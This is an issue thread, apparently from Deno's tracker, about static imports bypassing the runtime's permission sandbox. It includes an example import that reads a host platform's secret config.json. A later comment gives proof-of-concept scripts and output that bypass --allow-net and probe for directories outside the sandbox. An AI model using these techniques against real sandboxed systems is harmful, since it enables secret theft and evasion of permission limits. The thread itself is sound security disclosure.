Permissionless static relative imports are dangerous

[teleclimber]

In the current version of Deno (0.24) it is possible to import a module from outside the directory of the running script:

import * as secrets from "../../../elsewhere/config.json";

My understanding is that this is justified because a malicious script can not know where it is going to be run and therefore an attempt to load a relative path as above will almost always result in Deno exiting with an error.

Although it's true that in some uses of Deno a malicious script author can not know where a json with secrets might be located relative to where it is run, there is one situation where this can be known: if Deno is used as the sandbox subsystem of a larger system, then Deno will always be called in the same way (predictable cwd and path to potential secrets).

Imagine for example an application platform that uses Deno as its sandbox. It has the following data directory:

- data-dir
 | - config.json   // includes api keys and other secrets
 | - more stuff.../
 | - untrusted-app-code/
   | - malicious-app/

The application platform would probably call Deno with very limited permissions, and it certainly will not provide an allow-read permission that includes config.json.

However the malicious app will not need that. If it's designed to run on the platform it can read config.json like this:

import * as platform_config from '../../config.json`

I believe Deno should disallow relative static imports outside of the main script's directory unless --allow-read allows it.

Thanks,

✌️

[ry]

Yes it's a good point. If we are to take security seriously we can't allow reading random JSON...

[kevinkassimo]

I would say instead it might be more reasonable to require --allow-read for JSON imports (since they are data)

(I remember hearing Myles saying something about JSON imports support being blocked in browsers)

[kitsonk]

--allow-read makes sense for JSON imports. Is there a difference in local or remote? --allow-read implies local only. We should consider passing it to the TS compiler too so it can set allowJson on the compiler config.

[Janpot]

(I remember hearing Myles saying something about JSON imports support being blocked in browsers)

I think the relevant thread is: WICG/webcomponents#839
Btw, in case you'd like to weigh in, there's a proposal coming out of this that could be of interest to deno as well. Looks like module attributes could serve as a mechanism to pass permissions.

[rsp]

@kevinkassimo --allow-read for JSON imports seems reasonable , since this is basically an easier way to read data (plus some type info as a bonus). @kitsonk yeah, --allow-read implies local but for remote JSON imports I would expect to need --allow-net for the same reason.

Update: I mean I would want to know that my program is "importing" a random JSON API or something.

[rsp]

Also, I see two other arguments for requiring --allow-net for remote JSON imports:

1. there may be APIs and static JSON files that (unlike JS files) are not meant to be randomly read by anyone
2. on the Web you need CORS to read JSON across origins, unlike reading JS files

Thinking about CORS analogy, @ry do you think that importing JSON by a module in the same directory, i.e. import * as x from "./bare-file-name.json"; should be allowed by default with --allow-read/--allow-net required for other directories than "./"? (not just other outside with ".." but also other inside to avoid problems with symlinks linking to directories outside).

[teleclimber]

(I remember hearing Myles saying something about JSON imports support being blocked in browsers)

There is a really interesting "HTTP 203" episode where they get into imports from the browser and in particular why JSON import was dropped.

https://www.youtube.com/watch?v=jG7VfbqqTGw

I would say instead it might be more reasonable to require --allow-read for JSON imports (since they are data)

I think a local import of any type (JS/TS/WASM/JSON/CSS/...) that is outside the root of the script (meaning: it probably wasn't downloaded along with the script) should require an --allow-read permission.

Even if JS/TS are "just code" usually and will be limited by the permissions given to the called script, that's not a reason to give a script the ability to execute them and get their results.

JS can be data too: think of webpack.conf.js.

Another advantage is that this way static and dynamic local imports are beholden to the same rules, which makes things easier to reason about.

In the end, since Deno is meant to be safe a script should have only the most limited set of default permissions to run. Being able to import a JS from outside its directory is not a good default.

Just my 0.02

[sholladay]

Any real-world app is going to need the ability to import a file from a sibling directory. How do you decide where the module's root is, anyway? In Node, it's easy because you can just look upwards in the filesystem until you find a package.json. I guess in Deno, the best we could do is use the directory of the entry point. But that wouldn't work for all project structures, such as files in bin loading files from lib, which is a common pattern in Node.

[teleclimber]

I guess in Deno, the best we could do is use the directory of the entry point.

I think that's the idea.

But that wouldn't work for all project structures, such as files in bin loading files from lib, which is a common pattern in Node.

I would think Deno projects would be structured so that all files necessary for code to run will be at or below the entry-point.

[jakajancar]

That import isn't routed through the general access checks is concerning. Makes me wonder: what else isn't?

You can also bypass --allow-net:

poc.js:

const encoder = new TextEncoder();
Deno.writeFileSync("/tmp/make-request.ts",
    encoder.encode("import * as foo from 'http://example.com/foobar'"));
while (true) {
    try {
        await import('/tmp/make-request.ts');
    } catch (e) {}
}

% deno --allow-read=/tmp --allow-write=/tmp poc.js
Compile file:///tmp/include.ts
Download http://example.com/foobar
Compile file:///tmp/include.ts
Download http://example.com/foobar
Compile file:///tmp/include.ts
Download http://example.com/foobar
Compile file:///tmp/include.ts
Download http://example.com/foobar
Compile file:///tmp/include.ts
Download http://example.com/foobar
...

(Sure, it's only a DoS-ish / timing attack thing, but still...)

Also, it's not enough to just solve JSON. You can also check for existence of directories outside of your sandbox:

poc2.js:

const encoder = new TextEncoder();

async function dir_exists(path) {
    const tmpFile = '/tmp/' + Math.random() + '.ts'
    Deno.writeFileSync(tmpFile, encoder.encode(`import * as foo from '${path}'`));
    try {
        await import(tmpFile);
    } catch (e) {
        return e.message.includes('Is a directory');
    }
}

console.log('jaka', await dir_exists('/Users/jaka'));
console.log('mike', await dir_exists('/Users/mike'));

% deno --allow-read=/tmp --allow-write=/tmp po2c.js 
Compile file:///tmp/0.05196201107122267.ts
jaka true
Compile file:///tmp/0.8575097111751213.ts
mike false

I propose everything is just made explicit and require --allow-read to the source directory.
I would also require --allow-net for import from internet.
Without any arguments, it should be as secure as a stock V8 or a browser.
All fs/net access should be centrally routed, or some contributor in 1 year will introduce a vuln.

For a real non-sanboxed app, you'll need a wrapper anyways (shebang doesn't work for anything non-trivial, e.g. you can't specify a relative importmap). Only thing affected will be the sexy one-liners.

Meanwhile, the other way, securing things if defaults are loose, is nearly impossible.